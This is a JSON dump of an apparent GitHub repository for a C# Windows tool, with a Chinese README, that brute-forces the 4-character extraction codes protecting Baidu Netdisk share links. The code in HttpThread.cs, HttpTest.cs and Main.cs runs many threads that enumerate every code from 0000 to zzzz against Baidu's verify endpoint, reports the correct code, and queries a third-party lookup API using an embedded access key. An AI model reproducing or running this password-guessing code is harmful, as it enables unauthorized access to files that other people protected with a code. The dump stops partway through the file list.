[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: [zgcwkj, admin] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]\npatreon: # Replace with a single Patreon username\ntidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\ncommunity_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry\nliberapay: # Replace with a single Liberapay username\nissuehunt: # Replace with a single IssueHunt username\notechie: # Replace with a single Otechie username\ncustom: http://blog.zgcwkj.top # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']\n"
  },
  {
    "path": "README.md",
    "content": "# TestBaiduPassword\n百度网盘分享文件密码测试器\n\n关联帖子：https://www.52pojie.cn/thread-680681-1-1.html\n\n```\nPS：如果是要使用旧版的程序请下载源码进行编译，谢谢\n```\n\n## 更新历史：\n\n1.8.1.1（2018-11-03）\n\n>调整内部机制，避免使用起来导致占用内存过多的问题\n\n>修改代理功能实现，调整代理为程序内部，也就是说不影响系统的网络\n\n>修复多线程导致 代理块 出现严重的问题\n\n>更正一个很严重的问题：多线程导致 密码精度 缺失一个的问题\n\n>优化大部分代理逻辑问题（具体实测）\n\n1.8.1.0（2018-10-17）\n\n>修复 1806 版的代理代码判断错误问题\n\n>删除启动时判断网络代码块\n\n>优化代理文件生成的方法（具体实测）\n\n>优化代理的代码逻辑问题\n\n1.8.0.6（2018-06-14）\n\n>增加代理服务人口（测试阶段） ==》kTWO 提供技术支持\n\n>优化逻辑代码，整理代码等\n\n1.8.0.5（2018-05-29）\n\n>优化判断等逻辑问题，增加安卓端APP\n\n1.8.0.4 PRO（2018-04-13）\n\n>增加调用API，尝试直接获取密码\n\n1.8.0.4（2018-04-12）\n\n>更新了线程可停止功能\n\n>支持恢复上一次检索链接的数据\n\n>等。。。。。\n\n1.0.0.0（0000-00-00）\n\n>基本的功能搭建 ==》Matrix 提供技术支持\n\n>其它忘记了\n\n根据 https://www.52pojie.cn/thread-629100-1-1.html 进行优化\n\n## 功能特色：\n\n在原本的基础上添加对链接的兼容。格式如下面：\n\nhttp://pan.baidu.com/share/init?surl=xxx\n\nhttps://pan.baidu.com/share/init?surl=xxx\n\nhttp://pan.baidu.com/s/1xxx\n\nhttps://pan.baidu.com/s/1xxx\n\n## 一些笔记：\n\n```\n  程序的多线程坑：\n  \n  线程和任务是 N 对 1 ，存在重复调用问题导致方法块的冲突，以我的现在的技术是实现不了太难调\n  \n  线程和任务是 N 对 N ，不存在重复调用问题也就不会导致方法块的冲突，这种实现相对简单\n```\n\n## 转载声明：\n\n本程序可以通过任何方式进行转载，但请务必保留开源的地址以便我能够及时发现 BUG 以及使用者在使用过程中出现了 BUG 也能够很好的进行反馈\n\n## 项目贡献者：\n\nzgcwkj 博客：http://blog.zgcwkj.cn\n\nMatrix 博客：http://www.imwxz.com\n\nkTWO 博客：http://www.k2zone.cn\n\n## 本源码仅提供参考，如因本代码导致出现的任何问题和所有开发者无关\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Hash.cs",
    "content": "﻿using System;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Collections.Generic;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n        #region 只支持4位 By MXWXZ\r\n        public static string HashTo4Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n        public static int StrTo4Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n        #endregion\r\n        #region 只支持6位 By zgcwkj\r\n        public static string HashTo6Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 100000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 5) ret += \"0\";//前导零\r\n            if (ret.Length == 4) ret += \"00\";\r\n            if (ret.Length == 3) ret += \"000\";\r\n            if (ret.Length == 2) ret += \"0000\";\r\n            if (ret.Length == 1) ret += \"00000\";\r\n            if (ret.Length == 0) ret += \"000000\";\r\n            return reverse(ret);\r\n        }\r\n        public static int StrTo6Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 60466176;\r\n            ret += Char2Hash(str[1]) * 1679616;\r\n            ret += Char2Hash(str[2]) * 46656;\r\n            ret += Char2Hash(str[3]) * 1296;\r\n            ret += Char2Hash(str[4]) * 36;\r\n            ret += Char2Hash(str[5]);\r\n            ret += 100000;//防止前导零\r\n            return ret;\r\n        }\r\n        #endregion\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/HttpTest.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// Http测试类(百度网盘分享连接密码测试)\r\n    /// </summary>\r\n    public class HttpTest\r\n    {\r\n        string info = \"\";//唯一识别文件的值\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public HttpTest(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return HttpPost(url, data);\r\n        }\r\n        #region 网络请求\r\n        CookieContainer cookie = new CookieContainer();\r\n        #region Get请求\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n        #endregion\r\n        #region Post请求\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n        #endregion\r\n        #endregion\r\n    }\r\n}"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/HttpThread.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpThread\r\n    {\r\n        Main myMain;//主窗体\r\n        int StartValue = 0;//基值\r\n        int NumberValue = 0;//剩余次数\r\n        Timer timer;//线程\r\n        string ThreadID;//线程ID\r\n\r\n        /// <summary>\r\n        /// http请求线程类\r\n        /// </summary>\r\n        /// <param name=\"main\">主窗体</param>\r\n        /// <param name=\"name\">线程名称</param>\r\n        /// <param name=\"start\">开始值</param>\r\n        /// <param name=\"number\">结束值</param>\r\n        /// <param name=\"interval\">线程速度</param>\r\n        public HttpThread(Main main, string name, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            ThreadID = StaticClass.file + \"/\" + name;\r\n            timer = new Timer(interval);\r\n        }\r\n        /// <summary>\r\n        /// 启动线程\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public HttpThread Start()\r\n        {\r\n            #region 载入历史参数\r\n            try\r\n            {\r\n                if (File.Exists(ThreadID + \".ini\"))\r\n                {\r\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\r\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\r\n                }\r\n            }\r\n            catch { }\r\n            #endregion\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n            return this;\r\n        }\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                #region 保存历史参数\r\n                try\r\n                {\r\n                    File.Delete(ThreadID + \".ini\");\r\n                    File.AppendAllText(ThreadID + \".ini\", StartValue.ToString());\r\n                }\r\n                catch { }\r\n                #endregion\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.HashTo4Str(StartValue);\r\n                HttpTest httptest = new HttpTest(StaticClass.url);\r\n                myMain.ModifyStr(httptest.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.btn_start = new System.Windows.Forms.Button();\r\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\r\n            this.btn_status = new System.Windows.Forms.Button();\r\n            this.btn_net = new System.Windows.Forms.Button();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 15);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 11);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 38);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\r\n            this.text_xczs.MaxLength = 5;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \r\n            | System.Windows.Forms.AnchorStyles.Left) \r\n            | System.Windows.Forms.AnchorStyles.Right)));\r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(460, 69);\r\n            this.txt_ts.TabIndex = 5;\r\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.0.4 PRO\\r\\n\\r\\n作者：zgcwkj 20180413 更新 (请您著明本程序的出处，谢谢)\\r\\n\\r\\n说明：本程序\" +\r\n    \"完全免费，来自 52pojie 的 MXWXZ 提供整体的框架\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPassw\" +\r\n    \"ord\";\r\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\r\n            // \r\n            // btn_start\r\n            // \r\n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_start.Location = new System.Drawing.Point(12, 114);\r\n            this.btn_start.Name = \"btn_start\";\r\n            this.btn_start.Size = new System.Drawing.Size(234, 44);\r\n            this.btn_start.TabIndex = 4;\r\n            this.btn_start.Text = \"打开/生成 解决方案\";\r\n            this.btn_start.UseVisualStyleBackColor = true;\r\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\r\n            // \r\n            // btn_status\r\n            // \r\n            this.btn_status.Enabled = false;\r\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_status.Location = new System.Drawing.Point(252, 114);\r\n            this.btn_status.Name = \"btn_status\";\r\n            this.btn_status.Size = new System.Drawing.Size(94, 44);\r\n            this.btn_status.TabIndex = 6;\r\n            this.btn_status.Text = \"启动\";\r\n            this.btn_status.UseVisualStyleBackColor = true;\r\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\r\n            // \r\n            // btn_net\r\n            // \r\n            this.btn_net.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));\r\n            this.btn_net.Location = new System.Drawing.Point(364, 114);\r\n            this.btn_net.Name = \"btn_net\";\r\n            this.btn_net.Size = new System.Drawing.Size(108, 44);\r\n            this.btn_net.TabIndex = 6;\r\n            this.btn_net.Text = \"联网查密\";\r\n            this.btn_net.UseVisualStyleBackColor = true;\r\n            this.btn_net.Click += new System.EventHandler(this.btn_net_Click);\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.btn_net);\r\n            this.Controls.Add(this.btn_status);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn_start);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 300);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码分析器\";\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n        private System.Windows.Forms.Button btn_start;\r\n        private System.Windows.Forms.FolderBrowserDialog fBD;\r\n        private System.Windows.Forms.Button btn_status;\r\n        private System.Windows.Forms.Button btn_net;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\nusing System.Text.RegularExpressions;\r\nusing System.Timers;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n        /// <summary>\r\n        /// 解决方案\r\n        /// </summary>\r\n        private void btn_start_Click(object sender, EventArgs e)\r\n        {\r\n            if (fBD.ShowDialog() == DialogResult.OK)\r\n            {\r\n                //MessageBox.Show(fBD.SelectedPath);\r\n                #region 生成配置文件\r\n                StaticClass.file = fBD.SelectedPath;\r\n                string Configuration;\r\n                try\r\n                {\r\n                    Configuration = File.ReadAllText(StaticClass.file + \"/Configuration.ini\");\r\n                    string[] str = Configuration.Split('∆');\r\n                    text_url.Text = str[0];\r\n                    text_xczs.Text = str[1];\r\n                    text_zxsd.Text = str[2];\r\n                }\r\n                catch\r\n                {\r\n                    Configuration = text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\r\n                    File.Delete(StaticClass.file + \"/Configuration.ini\");\r\n                    File.AppendAllText(StaticClass.file + \"/Configuration.ini\", Configuration);\r\n                }\r\n                StaticClass.url = text_url.Text;\r\n                StaticClass.status = false;\r\n                #endregion\r\n                btn_status.Enabled = true;\r\n            }\r\n        }\r\n        /// <summary>\r\n        /// 启动或停止\r\n        /// </summary>\r\n        private void btn_status_Click(object sender, EventArgs e)\r\n        {\r\n            #region 防止空文本也执行\r\n            if (text_url.Text == \"\") { MessageBox.Show(\"连接呢？\"); return; }\r\n            if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\r\n            if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\r\n            if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\r\n            if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\r\n            #endregion\r\n            if (btn_status.Text == \"停止\")\r\n            {\r\n                btn_status.Text = \"启动\";\r\n                btn_status.Enabled = false;\r\n                StaticClass.status = true;\r\n            }\r\n            else\r\n            {\r\n                btn_status.Text = \"停止\";\r\n                #region 基本的线程\r\n                int xczs = Convert.ToInt32(text_xczs.Text);//线程总数\r\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\r\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\r\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\r\n                int total = end - start + 1;//尝试的总数\r\n                int section = total / xczs;//线程的次数\r\n                #endregion\r\n                #region 创建线程\r\n                for (int i = 1; i <= xczs; i++)\r\n                {\r\n                    int _start = start + section * (i - 1);//一条线程的开始值\r\n                    int _end = start + section * i;//一条线程的结束值\r\n\r\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\r\n                }\r\n                #endregion\r\n            }\r\n        }\r\n        /// <summary>\r\n        /// 联网查密(用到互联网搜索功能)\r\n        /// </summary>\r\n        private void btn_net_Click(object sender, EventArgs e)\r\n        {\r\n            if (text_url.Text.Trim() == \"\") { MessageBox.Show(\"请输入链接\"); return; }\r\n            MessageBox.Show(\"本服务由 云盘万能钥匙(www.ypsuperkey.com)提供，本人仅是使用提供的接口\");\r\n\r\n            string info = text_url.Text.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n            string url = \"https://www.ypsuperkey.com/api/items/BDY-\" + info + \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\r\n            string data = StaticClass.HttpGet(url);//请求并获得返回数据\r\n            data = \"密码为\" + Regex.Match(data, \"\\\"access_code\\\":\\\".+?\\\"\").Value.ToString().Replace(\"\\\"\", \"\").Replace(\"access_code:\", \"\");\r\n            if (data == \"密码为\") data = \"还是老老实实暴密码吧\";\r\n            MessageBox.Show(data, \"提示\");\r\n        }\r\n        /// <summary>\r\n        /// 链接跳转\r\n        /// </summary>\r\n        private void txt_ts_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\r\n            try { System.Diagnostics.Process.Start(\"http://blog.zgcwkj.top\"); } catch { }\r\n        }\r\n        #region 委托进行显示数据\r\n        delegate void Modifystr(string str1, string str2);\r\n        public void ModifyStr(string str1, string str2)\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;//显示点啥\r\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\r\n                if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"404\"))//拒绝访问\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                }\r\n                else { }//未知错误\r\n            }\r\n        }\r\n        #endregion\r\n        /// <summary>\r\n        /// 限制输入\r\n        /// </summary>\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Main.resx",
